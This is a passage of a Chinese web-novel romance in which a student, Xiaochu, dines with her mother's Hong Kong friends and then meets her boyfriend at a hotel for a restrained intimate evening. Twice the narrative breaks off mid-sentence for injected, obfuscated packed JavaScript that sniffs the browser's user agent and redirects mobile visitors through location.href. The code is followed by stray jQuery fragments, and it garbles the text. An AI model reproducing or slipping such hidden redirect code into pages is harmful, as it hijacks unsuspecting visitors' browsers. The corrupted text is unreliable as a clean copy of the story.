“喂?”她不敢多说,只简单地打了个招呼。 余萧弋的声音听上去很疲惫,“刚刚是不小心挂掉的?” 小初答非所问:“还没吃,正在去吃的路上,大概还有两公里到目的地,应该是吃……中餐。” 余萧弋立刻明白过来:“你妈妈在你身边?” 小初看着车窗上自己的影子,感觉她这辈子是没有成为演员的资质了,“对,我今天不回宿舍,你不用帮我留门,我妈妈明天上午的飞机,我今晚要陪她。” 她这边脊背上已经都是汗了,那边却传来一声轻笑,听着很欠揍,“想我了吗?” 小初不敢相信自己听到了什么,蹙了蹙眉,“我不太记得了,你在我桌子上找找,或者柜子里,还是没有的话,就是用完了。是啦……”她笑,“消耗品是这样的,跟人的耐心一样,都要省着点用才行。” 她不信他听不懂她在说什么。 可他偏不依不饶,声音低沉得简直就像他本人在她耳边撩拨,“所以,想还是没想?” 小初掌心几乎掐出血来,面上还只能装作云淡风轻,“我想……想啊,应该是。”随后她终于撑不下去,敷衍了两句赶紧挂了电话。 结束后还多余地解释了下,虽然她也不知道是解释给谁听的:“我室友,找我借点东西。” 黄亦玫从后视镜缓慢扫了她一眼,没说什么。 萧文然轻咳一声,提醒道,“我们马上就到了,今天的路况好像不太好。” 唯有那个Enzo一脸甜笑,“姐姐,你室友是男的吗?” “什么男的!”小初恨不得当场对这小屁孩痛下杀手,“人家是一个台湾妹子。” “可是。”男孩的表情有点无辜,“我明明听见的是一个男人的声音。” “你听错了。”小初弯了弯眼睛,眼底却全是警告,“她只是有点感冒。” “哦,这样啊。”男孩思索了一下,“我还以为你男朋友呢。” 小初咬牙,“什么男朋友,你才几岁懂什么叫男朋友。” “我十七了,还有一个月就成年了,不然,姐姐……”男孩海盐汽水般冒着清爽的气泡,“等我成年做你男朋友怎么样?” 若不是萧文然就在前面,小初现在已经把他扔窗外去了。 “Enzo,不要跟姐姐开玩笑。”萧文然没好气从后视镜瞪他一眼。 黄亦玫逗他:“仔仔,你喜欢姐姐这个类型呀?” “对呀。”男孩撩了撩挡住眼睛的半长的头发,笑起来像个融化的奶油冰激凌,“阿姨,你看我给你做半边仔怎么样?我妈说我们家孩子成年都得从家里搬出去,免得烦她,但我感觉我一个人真活不下去,所以我必须在一个月内给自己找个新家,我看你家条件挺好的,小初姐姐又漂亮,你们要我不,实在不行我也可以入赘。” 他话音一落,黄亦玫和萧文然就爆笑起来。 小初撇撇嘴,果然好看又嘴甜的小男孩最会哄大女人开心。 黄亦玫看Enzo的眼神简直都要母爱泛滥了,“你不需要给我做半边仔也可以去我们家住,只是我们家在北京,对你而言好像有点远。” “没关系,我可以搬过去。”男孩趴到前面的座椅靠背上,神色极为认真,“我会对姐姐超级超级好的。” 黄亦玫又笑,小初感觉她马上就要动摇了。 萧文然嗔了儿子一眼,“再胡说八道我揍你。” 黄亦玫问:“老二是不是都这样?我妈说我小时候也比我哥会讨喜。” “好像还真是,我们家那个老大啊。”萧文然顿了顿,“嘴笨心软还倔,认准什么不撞南墙不回头的。至于这个老二,回到过去肯定是个叛徒,小初你千万别信他的,他都是满嘴鬼话的。” 小初打了个哈哈,心想谁要信他。 Enzo却有些不高兴,“妈能不能不要拆我台?” 黄亦玫又笑,说没事阿姨信你。 车子拐入会所内部路,悄然落在另一辆豪车后面。 前面车上很快下来两女一男,为首的贵妇珠光宝气,只是身材略显富态,看着比萧文然和黄亦玫至少大了十岁,至于跟在后面的两个年轻的嘛,小初一惊,女孩不正是杨敏中吗? 这世界是有多小? 还好她们这辆车从外面是看不到里面的,她但愿她快点进到室内去,不要和她碰到面。 可偏偏事与愿违。 对方显然认识萧文然的车子,还隔着几米,就已经挂上了标准的社交笑容。 萧文然降下车窗,小初立刻扶住额头,两方人开始打招呼。 “Hilda,这么巧,你们也过来吃饭?”萧文然笑着先打了招呼,不算特别热情,但也挑不出毛病。 “是呀,你也是来参加David的局的吗?”贵妇笑意嫣然,又不动声色看了下副驾驶的黄亦玫,“今天怎么自己开车了?” 萧文然将车子熄了火,下车将钥匙交给早等在一边的泊车人员:“没,David今天不赶巧,我有贵客远道而来,肯定自己开才有诚意的嘛。” 说话间黄亦玫也下了车,看小初没动,提醒了一声,“快下车呀。” 旁边的Enzo听了立刻灿笑道:“姐姐你别动,等我去帮你开车门。”说完就风一样下了车,又绕到小初这边来,装成很绅士的模样,伸出手来,“小姐,请。” 浮夸得要死。 小初瞪他一眼,却还是虚虚扶着他的手臂下了车。她心明白,她和杨敏中无可避免就要目光对视了,既然如此,她的架子就绝不能塌。 也不是什么竞争意识作祟,主要她和她确实立场尴尬。 等下了车,她的唇边已挂上了淡然笑意,再不会叫人看穿她的心事。 在看到她脸的那一刻杨敏中果然一惊,“方小姐?” 黄亦玫投过来一个探寻的眼神,对面的贵妇也扫了个眼风过去。 杨敏中已经意识到自己失了态,马上挂上微笑,朝她点点头,“好巧呀。” 小初也颔了颔首,笑容无懈可击,“很高兴再见到你,杨小姐。” 萧文然笑,“这世界是年轻人的了,咱们还担心孩子们将来不懂得合作和沟通呢,实际人家早打成一片了。” 黄亦玫和贵妇互相点点头算是打过了招呼,都说是。 小初心里却总觉得哪里怪怪的,萧文然怎么都没好奇她竟然和杨敏中认识,直接就说了那么一句冠冕堂皇的话?而且话里话外,像是把她看做自家孩子似的? 正思索着,又听见她叫Enzo:“仔仔,怎么没见你和Hilda阿姨还有哥哥姐姐们问好?你之前不是最喜欢Marissa姐姐了吗?” Enzo听了立刻乖巧地问了好,却还没忘加一句,“妈你不要说什么最喜欢,人只有更喜欢好不好,你这样说小初姐姐会生我气的。” 他俯身把头枕在小初肩膀上。 小初立刻不动声色地躲了躲。 几个大人都笑。 一行人一起走进大厅,并很快以“得闲饮茶”作为结尾,各自向订位的包间走去。 萧文然小声跟黄亦玫解释,“那就是港岛赫赫有名做船舶生意的杨家太太。” 黄亦玫点点头。 推门而入的瞬间,饶是小初还算见过几分世面,还是无端产生了一种误入浮华一梦的不真实感。 房间太漂亮了,整整两面墙的巨大落地窗,生生把外面的山海之景都变成了室内装修的一部分,更不要说里面的每样家具和摆设也都很奢华考究。餐桌上的烛光已经被点亮,与窗外霓虹和海上游船交相辉映着,满室鲜花生香,置身整个场景中,只觉得璀璨和浪漫,只想沉醉不想醒。 这就是萧文然所说的简单吃顿便饭?是不是有点过于隆重了? 就连黄亦玫都说,“文然姐,你这样我下次可不敢见你的面了,都是自家人何必这么客气。” 萧文然飒然一笑,“你都说了是自家人,恐怕以后你不想见我的面都不成呢。” Enzo接言过去,眨眨眼,“妈,你们该不会是要给我和姐姐订婚吧?” 小初呼吸一滞,订婚?把他打昏还差不多。这个家伙,仗着年纪比她小三岁就一直肆无忌惮占她便宜,都是千年的狐狸他在这装什么傻白甜,她十六岁上大学时候也没感受到自己跟旁边人有什么心智上的差距,他这个招数,骗骗四十岁以上的姐姐算了,跑这消遣她来了! 黄亦玫笑,“仔仔,这样,阿姨明天回北京,你就跟阿姨走,你也别给我当什么半边仔了,你就给我当儿子好了。” “真的?” 黄亦玫点头,“不过你可别再开姐姐玩笑,我怕她真的会揍你。” 萧文然也说:“确实欠揍。” Enzo做出一副怕怕的样子,嘴上却说,“我不信,姐姐看着多温柔。” 小初冷笑看了他一眼。 菜很快陆续上来,味道不用说,都很正。小初最喜欢一道鲍汁煎酿鲜蟹钳烩柚皮的菜,那个蟹钳肉同时吸收了鲍汁的精华和柚皮的清新,非常特别,萧文然看她爱吃,又让厨师帮她做了一份。 席间宾主尽欢,主要是萧文然和黄亦玫在聊,聊她们这些年的见闻和感受,还有生意场上的一些事,并没有怎么涉及双方家庭的隐私。小初心里叹服,成年人对分寸感的拿捏真是游刃有余,不像她身边这个未成年的,每句话都那么冒犯。 给自己喂了个七八成饱,小初就停了筷子,说刚进门时好像看见外面有珠宝和包包的展示柜,她想去看看。 萧文然说:“你想看什么,我让他们拿进来给你看就是了。” 小初听了立刻摆手说自己有点吃撑了,刚好出去逛逛,又问Enzo,“仔仔你要不要和姐姐一块去?” Enzo受宠若惊,“我吗?” 小初勾唇,“对呀。” 黄亦玫似是知道她要干嘛,赶紧递了个警告的眼神过来。 小初只当没看见,拉着Enzo出了门。 到外面,直奔消防通道,Enzo不明所以,也跟了过去。 结果身后门一关上,小初就从外套里拿出了刚在包间里顺的湿毛巾,卷成条照着他劈头盖脸就是一顿抽,一边抽还一边问他:“仔仔,你还敢消遣姐姐不?” 拿毛巾是因为,她答应了余萧弋,她的手只能用来打他。 Enzo年纪虽小,身高却早过了一米八,小初抽他还真有点费力。他看她真是气狠了,索性也不躲,干脆坐在了台阶上,还把脸往前伸了伸,“这样打会不会顺手点?” “……”小初无语。 这个小屁孩。 “问你呢,还敢消遣姐姐不。” 他摇头,笑嘻嘻的,“不敢了,我错了。” 他态度这么软,小初犯了骑士病,反而不忍心下手了。 “姐姐消气了吗?” 小初瞪他,“你先回去,我还有事。” 他说:“我知道,你要给你男朋友打电话。刚刚那边明明就是男的你还不承认,他问你想他了吗,对不对?” 小初难以置信看向他,脸有些红,“你是狗吗,耳朵这么灵?” 他露出一个狡黠的微笑,“我猜的,你怎么这么沉不住气。” “……” “好啦,你快点打,我在外面等你。”说完就推开了安全门,都要走了还回头朝她眨了眨眼,“放心,我不会告诉亦玫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16398081|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姨的。” 小初不语,只是拨电话给余萧弋,她现在很想听见他的声音。 似是没想到她会打电话给他,他的声音很惊讶,“怎么突然打电话过来?” 小初说不出“我想你”,只说,“没事,只是想跟你分享我刚刚吃了很好吃的饭。” 余萧弋怔了怔,继而失笑,“什么饭那么好吃,下次带我去好吗?” 小初心想这个地方可不是我想来就来的,只能换了话题,“Theo余,我太不懂,为什么你小叔的事情,他们要一直抓着你谈啊。” 连她自己都没注意到自己语气里的怨念。 余萧弋的声音软下来,又有种深深的无奈,“因为大家族就是这样,每个人都有自己的使命要完成,舆论现在对我们很不利,所以,方太初。”他顿了好一会儿,“我可能要做出一些妥协了。” “你要去联姻?是吗?”小初紧紧抓住了外套下摆,眼眶有些发酸,“能不能……别去。” 余萧弋有些意外,“你说什么?” “我说,你别去联姻。” 我还没尽兴。 她在心里跟自己说。 好像这样,才显得她没有那么在乎。 “傻女。”他笑,“你想到哪去了,不过,也没比那个好到哪去。余珺彦明天回国,关于我的新闻明天开始也会铺天盖地出现在互联网上,这意味着……” 小初接下去,“你们家要启用新一代的代言人来扭转家族形象了。” 余萧弋愣了愣,“方小姐果然聪明。” 小初声音有些闷,“那我们还能好好恋爱吗?我不想到哪都被人拍。” “我不知道。”余萧弋从不做他做不到的保证,他只是突然说,“今晚见面吧。” “什么?”小初有些迷蒙,“可我得陪……” “我知道,可我真的很想你,给我半个小时,不,十分钟也行。” 他在心底说——宝贝,别拒绝。 小初抿抿唇,说了句,“好。” 奇怪,明明也才三天没见,怎么像隔了三个秋? 挂上电话出来,小初感觉自己整个人都变轻盈了,前面被那个小屁孩惹的不爽全部一扫而光,脸上隐隐都是期待。 不远处的Enzo迎上来,撇撇嘴,“就那么开心?” 小初懒得理他,一句话没说。 路过珠宝展示区的时候,不巧又碰到杨敏中,她见她正在和另外两个女孩研究着某条项链的款式,本想快步绕过去的,却还是被她瞥见,喊住了她的名字,“方太初。” 小初只能顿住脚步,弯了弯唇,“Marissa。” 杨敏中把手中珠宝交给sale,慢慢向他们走过来,看了看Enzo脸上若有似无刚刚被毛巾打过的红,温柔一笑,“你们两个去安全门后面做什么了,一个两个脸都这么红。” 什么东西? 小初目光一寸寸淡下来,仔细想想她和她好像也没什么维持交情的必要,索性装都不装了,“刚他得罪了我,被我抽了顿耳光,至于我。”她别了别鬓边的头发,忽而一笑,“是爽的。” 杨敏中愣住。 另外两个女孩也都像看怪物一样看她。 小初向前半步,目光不经意滑过杨敏中娇俏甜美的脸,又缓缓收回。 杨敏中退后一步,笑笑,“方小姐真爱开玩笑。” 小初勾唇,“嗯,我确实挺冷幽默的。” Enzo却捂着脸看了她一眼,“你管这个叫冷幽默?你怎么不直接打死我?” “让你下次再言语无状。”小初看都不看他,只笑着跟杨敏中点了点头,“失陪了杨小姐。” 然后就回了包间。 Enzo也散漫地跟了上来。 萧文然问:“有什么喜欢的吗?” 小初笑笑:“没,感觉好多款式都太夸张了,不太适合我,而且学生也没有那么多场合要戴百万以上的珠宝。。” 萧文然点头:“这个品牌风格确实成熟些,不过场合肯定迟早要有的嘛,有喜欢的先练练手也没什么,你要是拿不准,阿姨帮你过过眼。” 黄亦玫拍拍萧文然的手,“她平时素惯了,衣服都不穿我买的,生怕跟她同学格格不入。” 萧文然神情柔和地看了小初一眼。 吃了饭,萧文然又亲自开车把黄亦玫和小初送回酒店,两人约好下次北京再聚。 Enzo问,那是不是意味着他可以去阿姨家住了? 黄亦玫笑着摸了摸他的脸,“仔仔,你记住你随时都可以来阿姨家里住,想住多久都可以。” Enzo感动极了,说他记住了,等哪天他被他妈赶出家门无处可去的时候一定去北京投奔她。 还说:“我还要看姐姐小时候的丑照。” 以示报复。 小初轻笑,“那仔仔你可能要失望了哦,姐姐没有丑照的。” 两个大人又是笑。 临别前,萧文然又要小初的手机号,说是过两天中秋接她去家里吃饭。 小初不知该怎么应对,只能求助地看了看她妈妈。 黄亦玫也不想小初去打扰人家的生活,连连谢绝。 可抵不过萧文然一直坚持,说什么孩子都来香港了,而且又只待半年就要回去,她要是再客气就是不把她当朋友了,说得黄亦玫最后只能放弃了抵抗,朝小初点了点头。 待她们一离开,小初就疲惫地叹息了一声,刚好被黄亦玫捕捉到。 “怎么,你不喜欢文然阿姨?” “不是不喜欢,只是觉得社交好浪费时间。尤其她带来那个小屁孩,烦死了。” 黄亦玫摸了摸她的头发,神情逐渐严肃。“你不喜欢他就好,我和你爸其实不太想你过多接触这样的人家的。” 小初好奇,“什么人家?” “就……”黄亦玫不想多说,“比较复杂。” 小初懂了,然后又不由自主联想到了余萧弋的家庭。想必,她爸妈也是不会同意的吧。 心情不知怎么突然有点糟糕。 两人乘电梯上了楼,黄亦玫才想起来,“哦对了,今晚干妈拍夜戏,我要去探班,你去不去?” 小初神色一动,嘴上却说,“妈你根本不爱我,只陪你闺蜜不陪我。”又问,“那你今晚还回来吗?” “当然!”黄亦玫投过来一个你在想什么,妈妈怎么会一点都不在乎你的眼神,“我十二点之前肯定回来,你要累了就先睡哦。” 小初乖巧点头,“我看会书就睡。” 却在袖子底下给余萧弋发消息过去,「如果有三个小时的时间,你想做点什么?」 他回:「还是上次那家酒店吗?」 「嗯。」 「等我。」 小初抿抿唇,「你还没回答刚刚那个问题。」 大概过了十分钟,他才回过来,回的还是一串她看不懂的数字,「1602」。 小初不解,「什么意思?」 「房号,你去前台拿房卡,等我。」 说完,他又补了一条,「也是你刚刚那个问题的答案。」 43.第 43 章 余萧弋进门的时候,方太初正坐在1602房间的办公台前做证明题。 不是她真的爱学习到争分夺秒的程度,而是让自己完全沉浸在逻辑推理中,可以静心。 即便如此,电子钥匙开门的声音传进耳朵的时候她还是一阵战栗紧张,笔尖在某个数学符号上定住,整个人都变成了闻风破胆的鹿。 仿佛只是三天不见,两人的关系就又恢复了陌生。 天气已经有些转凉,他穿了件黑色的毛线衫,领口的第一粒扣子没扣,锁骨处款式简洁的银色项链泛着冷光。 不知是不是一路跑过来的,他的头发有些凌乱,这让小初不自觉想起Enzo,她发现他们这边很多Local男生都喜欢这种半长的头发,有种很特别的味道。 “等久了吧?”他笑,随即晃了晃手里的袋子,“给你买了这个,所以浪费了一点时间。” 袋子上印的是她和陈槐东上次排很久队才买到的第一家糖水店的名字。 小初骤然捏紧了手中的笔,他的柔软和体贴有时真的让她感动又错愕,出生在那样的家庭,他是怎么学会照顾别人感受的? 与生俱来的吗? “怎么不说话,嗯?”余萧弋走过来,将袋子放到桌子上,又俯身亲了亲她的头发,声音有种终于回家了的放松,“你好香。” 一句话就让小初红了脸,“不说话是因为,需要一点时间让我重新认识你。” “才三天不见,就不认识了?” 小初点头,慢慢收起笔,也不看他的眼睛,“嗯,就……有点怪。你呢,对我没有陌生感吗?” 余萧弋拖了一把椅子过来,将她上上下下仔细看了一遍,坦诚,“好像是有点。”又问,“你已经洗过澡了?这身衣服真好看。” 小初低头看了下自己。 她身上的灰白竖条纹的家居服是之前某个品牌的秀场款,设计师在原本无聊的款式里加了很多少女元素,比如她身上的这一身,虽然是吊带搭配短裤,但灵动要比妩媚多很多,没有任何不得体的感觉,是可以直接穿出街那种。 否则,她怎么可能穿到他面前来。 “嗯,我不耐烦吹头发,早点洗,等睡前头发怎么也干了。” 余萧弋把袋子里的甜品拿出来放在桌子上,又一一打开盖子,“也不知道你都喜欢什么,随便买的,你尝尝他们家这个那天你没尝到的招牌,白果薏米腐竹。” 说着,他就舀了一勺喂进了小初的嘴里,满脸期待:“怎么样?” 小初实话实说:“有点怪。” “真的吗?” “当然真的,不信你尝。”小初也有样学样舀了一勺喂给他,“怪不怪?” “有点。”余萧弋心跳渐快,心底某种见不得光的渴望已经酝酿到了极致。 可是他不能,不能吓到她,更要履行自己的承诺。说好了只要她不想,他就永远不跨越那条界限,只是,他现在才明白,真正爱一个人不是不顾一切的冲动,而是可以将冲动藏起来的克制。 还要藏得若无其事不能让她发觉。 小初看了另外几个打包盒,问他:“还有什么?” “杏仁露和杨枝甘露什么的,哦,还有芋泥牛奶红豆冰,天有点凉了,也不知道你喜不喜欢吃冰的,不吃留给我就好。” 小初露出一个了然神色,“所以是你想吃。” 他失笑,“被你看穿了。” “芋泥我喜欢的。”小初找到他说的那份甜品,只是下一秒就皱起了眉,“忘了跟你说,我不吃珍珠的。” “不吃珍珠?”余萧弋有些意外,“你们女生不都喜欢珍珠奶茶吗?” 小初笑:“我一般备注不要珍珠。”又遗憾地看了眼那个她本来很有兴趣的甜品,“那现在怎么办?” 余萧弋说:“你吃其他部分,珍珠留给我。” 小初抿了抿唇,勺子落在只有芋泥和红豆的那一边,前面几口还好,后面还是无可避免咬到了珍珠。 那个Q弹的口感一碰到她的舌尖就激发出她来自基因里的一阵排斥,皱着眉到处找纸巾,出口的话含糊不清,“Theo余,我下次还真要给你列个list,唔,这个该死的口感。” “给我。”余萧弋一秒都没迟疑就对着她的唇吻了下去,舌尖轻轻一勾就把她不喜欢的那颗珍珠含入了自己口中。 小初哪预料到他会如此行径,整个人都是懵的,脸上一片潮红,“你,你……” 两人的感官都被芋泥和红豆的甜蜜充斥着,余萧弋的心跳很快,几天来紧张的神经终于得以放松,也不知出于什么,或许某种令人上瘾的触感让他太冲动,他含了一口冰沙又贴上去,将她所有的呢喃都堵住,白色的牛奶从两人的嘴角不可控制地流了下来,在他的黑色线衫上留下一片斑驳的污痕。 吻,一开始是无疑是克制的,后来也终于失控,所有的理智最终还是挡不住生理性的喜欢,房间里逐渐只剩下液体交融的声音,以及,剧烈的喘息。 空气升温得太快,小初不由自主搂住他的脖子,指节摩挲着他的银色项链,那个冰凉的触感不仅没有让她冷静下来,反而让她产生了一种不顾死活的想要将他揉碎的冲动。 两人都没有喝酒,却不知为何醉得已然不知今夕何年。 “今天吃了什么好吃的饭?”余萧弋抚在她腰间的手力量逐渐加重,他感受到了她紧致的线条。 “某种……中餐。”小初实话实说,“我不知道是什么菜系。” “粤菜?” “有可能。” 她对菜系一向没什么研究,就像她喝咖啡也尝不出豆子之间的细微差别,只能凭自己味蕾决定它——好还是坏。 她的标准就是唯一的标准。 比如,眼前的男人,不管他在别人眼里如何,只要她喜欢,那他就是世间最好最特别的那个。 两人仍坐在办公台前,且都在极力克制,本不该沾染任何红尘的暧昧,但他嘴角滴落的牛奶痕迹还是暴露了一切。 “和谁吃的?” “我妈妈的一个朋友。”小初认真回忆了一下萧文然的脸,“很特别很帅的一个年上姐姐。” “方太初。”余萧弋吻着她的锁骨,“你妈妈是个艺术家,那你爸爸呢,他真的只是个普通的程序员吗?我听铭仔说,你妈妈是个女神,女神怎么会是那样的归宿?” “因为他们是校友。”小初在混乱中尽力组织着言语,“完全的从校服到婚纱。” “跟我们一样?” 睡衣的肩带很解风情地滑下来。 “我们?”小初的身体轻颤着,“我们怎么一样,你先告诉我你是怎么成为Smith教授的助教的。” “我?”余萧弋托住她,站起身。 小初一阵害怕,本能地缠住他的身体,小腿交叉,环住他的腰。 “我帮他找了一笔不菲的Funding。” 酒店的床有些松软,小初胸前白色缎带散开,压上来的那一刻,两人瞳孔都一震,一种很可怕的即将失控坠落的感觉袭来,余萧弋不敢再动,停在了原处。 两人就这样无声对视了一会儿,直至,乌云彻底遮住了天空,雨势一触即发。 小初整个人都变成了不会说话的雕塑,明明口中冰沙的凉感还在,身体却越来越热,连眼神都迷蒙下来。 他颈间的银色项链从摇晃逐渐停摆,时间像是被谁按了暂停键。 “阻止我。”余萧弋的声音低得已经不像他本人发出的。 “嗯?”小初没懂,“怎,怎么阻止?” “随便都行,说点别的。”他的视线仍聚焦在她被他吮红的唇上,可那里还哪是什么唇,分明已经变成了诱惑着,叫嚣着,等着他采撷的花。 “我……”小初努力让自己的思维回到正轨上来,可那个乌云压顶的感觉实在太真实,潮湿无声蔓延着,理智摇摇欲坠。 “我就知道你给教授找了笔Funding,因为他那两天都很高兴,上课语速都明显快很多。” 余萧弋笑出来,气氛似乎已经被一道闪电劈开,他扯过被子将她整个裹了起来,只留自己吹着空调冷风,脑子里的混沌果然沉淀下来很多。 小初被裹成了粽子,手脚都不能动,只能不知所措地看着他,在一片素白中,那双黑白分明的眼睛蓦地被放大,他这才发现她的眼睛比他原本以为的还要漂亮。 不只是眼型的漂亮,而是一种纯净,里面没有任何物质欲望,甚至也不懂什么精神欲望的纯净。 面对这样的纯净,他突然感觉自己好肮脏。 陈嘉言说她好像个勾人揉乱的洋娃娃,是不对的。因为洋娃娃的本质是人类的玩偶,而她不是,她是她自己,她有她想或不想被人揉乱的绝对意志。 乌云逐渐散开。 “是不是发现我行动力特别强?”余萧弋扯过枕头躺过去,双手压在头下。 “你要睡觉了吗?”小初不明白他怎么突然就冷却了,侧过头看向他,从这个角度,他优越的侧颜被她尽收眼底,然后她才发现,他左侧脖子上,有一颗小小的痣。 她解开桎梏,鬼使神差地伸出指尖碰了碰那个地方,他吞咽口水的动作都那么性感,小初突然感觉自己整个人都好空,很想被他填满。 “嗯,睡会儿。”余萧弋不看她,只看着天花板。 小初忽地坐起身,戳了戳他的脸,“你的答案就是开个房间睡觉?” 话一出口,又觉得哪里不对,解释道:“我是说,睡觉的那种睡觉。” 但解释完好像更不对了。 余萧弋含着笑看她,“开房间当然是为了睡觉啊,睡觉的那种睡觉,不然呢。” “好浪费钱。”小初说完才意识到,这酒店是他家的,他来这里睡觉就跟回家一样。 “宝贝,我已经两天没怎么睡了。”余萧弋疲惫地叹口气。 “为什么?”小初不解,“他们用针扎你大腿了吗?” 余萧弋愣了一下,然后直接笑出来,“方太初你脑回路真的同一般人不一样。” “所以为什么不睡觉?” “爷爷年纪大了睡眠少,他不睡也不让别人睡,喝茶开会一喝就是半宿,我大脑都被茶叶里的咖啡因掏空了。” “太过分了。”小初义愤填膺,“回头我说他。” 余萧弋想象了一下他那个在商场叱咤风云了半个世纪的爷爷被小初教育早睡的样子,实在忍俊不禁,但仔细一想这事她还真干的出来,他就不知道这世上还有什么是她怕的东西,除了……飞蚁。 突然有点期待是什么回事。 把她带回家,对付那个倔老头。 “嗯,全靠你了,到时候你一定要保护我。” 小初俯下身去,难得的温柔,“那你睡吧,但是我得回去了,我妈很快回来了,要是被她发现我穿着睡衣大晚上和一个男的共处一室,我就死定了。” 她扯过被子帮他盖住。 余萧弋却扯过她抱在怀中——只敢隔着被子,声音有些脆弱,“再陪我一会,可以吗?” 小初无语,“你不是要睡觉吗?我陪与不陪又有什么区别?你睡着了还会感觉到身边有没有人啊。” “会。”余萧弋当然希望两人可以做一点不是睡觉的那种睡觉的事,真那样了,她肯定又哭着喊着说不要了。 “你在,我会睡得比较安心。” “行,那你睡吧。我就坐那边,把你买的甜品吃完,顺便把梁培风早晨发给我的那套题做了。” 小初跳下地,嘴里碎碎念着,“做多了才发现,这世上怎么那么多亟待解决的难题,前天刚让我分析完银行效率昨天就让我评估外卖员送餐危机,今天好了,它开始让我优化宇宙探测器的着陆轨道了,我发现学数学的还是太全面了一点。” 她这边说得开心,他那边却逐渐没了声音。 小初蹑手蹑脚走过去,发现他已经睡着了。 这么快吗? 他是有多累? 小初不确定,她决定试一试。 于是…… 她缓缓趴下来,在他耳边问了句:“余珺彦帅吗?” “不帅。” 他一秒都没犹豫,“比我差远了,明天你不许看他。” “……” 什么嘛。 小初在余萧弋均匀的呼吸声中设计完了宇宙探测器的着陆轨道,并拍照发给梁培风,然后又在酒店的便签本上简单写了下自己的设计理念,以及具体的优化内容和可能带来的风险,留给余萧弋。 好久没有手写这么多字,她突然发现英文的行书速度确实比中文要快很多,只是不知道她写得这么潦草,床上那位醒来能不能看懂。 忙完这一切,时间已经差不多了。 她发消息给黄亦玫,对方说她已经再回来的路上。 小初开始收拾东西。想了想还是把其余几盒没动过的甜品原封不动装回了袋子里,准备带回去给她妈妈做夜宵。 至于那个动过的,她吃掉好了。 融化的芋泥冰沙很甜很好喝,只是这下没人帮她吃掉珍珠了。小初盛了一颗放在嘴中,回味了一下他舌尖的触感,仅如此,身体便再次被点燃。 她就这样暧昧不清地看着他的睡颜吃完了一整份融化的冰沙,最后丢掉全部珍珠,在他唇上一吻,退出了房间。 留给他的便签本上,她写了一小段英文夹杂在那一堆设计方案陈述里,也不知他会不会看到。 应该会吧,毕竟,他那么细心。 她没有任何一刻比此刻更感谢英文的存在,可以避免她表达这些时候的母语羞耻症。 Theo Yu, 我曾看过无数次日落和日出 去过浪漫的热带海岛 也体验过极寒地带最漫长的夜 长达二十四小时 在经历这些的时候 我从未预见过有天你会出现 但是现在你已在这里 就在这里 还好,地球上还有很多地方 我还没去过 我是说,没和你一起去过 Yours F. Junior 她回到房间还没过十分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16402595|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黄亦玫就带着秋夜的凉意推开了门,看到她还没睡她显然很意外,“什么情况小方,失眠啦?” 小初笑着迎上去,抱了抱妈妈,躁动的一颗心终于宁静了下来,“没,等你一块吃甜品。”她指了指桌子上的袋子,又问道:“怎么样啊今天的夜戏。” 黄亦玫脱下外套,唇角的弧度压都压不平,“不知道该怎么和你说,我只能说,很叹服谢大导演的专业水准,三金影后的含金量以及……”她顿住,忽地有些脸红,“陈槐东作为新人的那种既青涩又带着野性的张力。” 小初愣住,忽而明白过来,“他们才开机这么几天就拍床戏了?” “你这小孩满脑子什么东西。”黄亦玫嗔她一眼,“人家那个是艺术!实际什么都没有,但氛围特别对。主要她要的就是男主像礼物一样出现女主生命里,两人还极为陌生的时候……那个暧昧和试探。” 小初明白了,那就是陌生男女刚认识就激情一夜了,那能不青涩吗,能不试探吗,他们连对方姓什么都不知道吧? “陈槐东身材好吗?” 黄亦玫回味了一下,“一个字,绝。” 小初嘴角一抽,递了张纸巾过去给刚洗完手的妈妈,真心劝道:“妈,今晚发生的事回去千万别告诉方总,我怕他心脏受不了。” 黄亦玫擦了手,在椅子上坐下来,打开袋子里的杏仁露,浅浅喝了一口,抬头时眼睛瞬间明亮起来,“好喝呀,你去买的?” 小初很轻地“嗯”了一声。 黄亦玫又问:“为什么不能告诉爸爸?” 小初不敢说她胡言乱语说她在馆里被一群年轻男孩要微信的事,只能继续胡言乱语,“因为方总心眼小,还刻板无趣呗。” “瞎说。”黄亦玫笑,似是陷入某段甜蜜的回忆,“你爸当年还看过我演话剧呢,那还是一个女主角对好几个男配角的戏,他也没怎么,你对他误解太深,其实呀,他有趣的很呢。” “什么?”小初瞪大眼睛,“您还演过那种话剧?” 黄亦玫点头:“对呀,就是谢令妤导的,导完那部,她就赴美学导演去了,可以说要是没有我,她还真未必会走这条路,你干妈硕士读的社会学。” 小初彻底惊住。 黄亦玫一边说一边拿过袋子里的小票,然后小初就听见她“咦”了一声,她立刻感觉有点不妙。 “点单的人叫?”她仔细辨别了下老板的手写字,“T-H-...” 还未等她看完,小初就一把夺过了小票,两颊迅速染上了一片桃花色,她大脑高速旋转,才编出一句胡话来,“那不就是太初的太吗,T-A,A上面没封好口看着就有点像H。” 黄亦玫确实只看到了前面两个字母,但小初的反应已经说明了一切。 她也没戳穿,只静静看了她一会儿,又喝了几口杏仁露。 小初目光有些闪烁,根本不敢跟她妈妈对视,只说,“我洗洗睡了啊,明天上午有课,就不送您去机场了。” 黄亦玫点点头。 直至两个人都躺在了床上,小初把下巴枕在她的颈窝里,她才沉静开口:“宝贝,你是不是谈恋爱了?” 